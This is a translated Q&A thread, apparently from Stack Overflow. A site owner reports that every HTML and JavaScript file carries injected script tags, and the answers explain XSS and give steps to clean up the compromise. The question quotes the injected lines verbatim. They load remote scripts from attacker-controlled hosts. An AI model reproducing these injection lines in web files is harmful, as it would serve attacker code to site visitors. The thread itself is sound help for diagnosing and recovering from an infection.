所有HTML和JS文件都受到某些脚本的影响

时间:2014-04-04 10:44:26

标签: javascript html

我的网站所有的html和js文件都受到一些脚本的影响。

以下脚本在所有html文件中。

<!--937592--><script type="text/javascript" src="http://jamesdeocariza.com/cnt.php?id=5653691"></script><!--/937592-->

以及所有js文件中的以下脚本。

/*ec8243*/
document.write('<script type="text/javascript" src="http://brilleandmore.de/cgi-bin/cnt.php?id=5655549"></script>');
/*/ec8243*/

我不知道所有html和js文件中的代码如何。此<!--937592-->号码和src="http://jamesdeocariza.com/cnt.php?id=5653691" src网址不是静态的。它的动态数字和网址。

这是Cross Side Script(XSS)攻击吗?

2 个答案:

答案 0 :(得分:1)

如果您不是服务器jamesdeocariza.combrilleandmore.de的所有者,那么您的服务器似乎已被黑客入侵,并且有人将上述代码注入到您的所有HTML和JavaScript文件中。

解释XSS attacks:想象一下,你写的PHP文件很糟糕,其中包含如下代码:

<p>Your username <?php echo $_GET["user"] ?></p>

现在有人可以像http://example.com/index.php?user=<script>//bad things</script>那样为您的网站撰写恶意形成的链接。如果有人点击这样的链接,服务器将使用

提供HTML文档
<p>Your username <script>//bad things</script></p>

(实际上,链接将使用带有%XY的URL编码

进行编码

在您的情况下,它似乎比仅仅是XSS攻击更糟糕,因为似乎攻击者可能会以某种方式更改您网站的源代码。这可能在很多方面发生,比如黑客攻击您的PC或服务器(也许您的PC上有病毒)。获取对源存储库的访问权限(例如强制执行github帐户的密码)或者在未加密的FTP上载时中间有一个人...

答案 1 :(得分:1)

您的文件有所妥协,您需要的后续步骤是:

  1. 立即从您的js和HTML文件(全部)中删除上述2个代码段。
  2. 使用Sucuri等工具检查您的网站是否已被Google列入黑名单,并查找受影响的其他文件并从这些网页中删除不需要的代码
  3. 如果Google已将您的网站列入黑名单,则必须在清除所有受感染文件后请求审核
  4. 搜索不受欢迎的动态代码,这些代码可能会因此受到影响并删除这些文件。
  5. 了解攻击是如何发生并修复的(网站访问日志会在这里派上用场)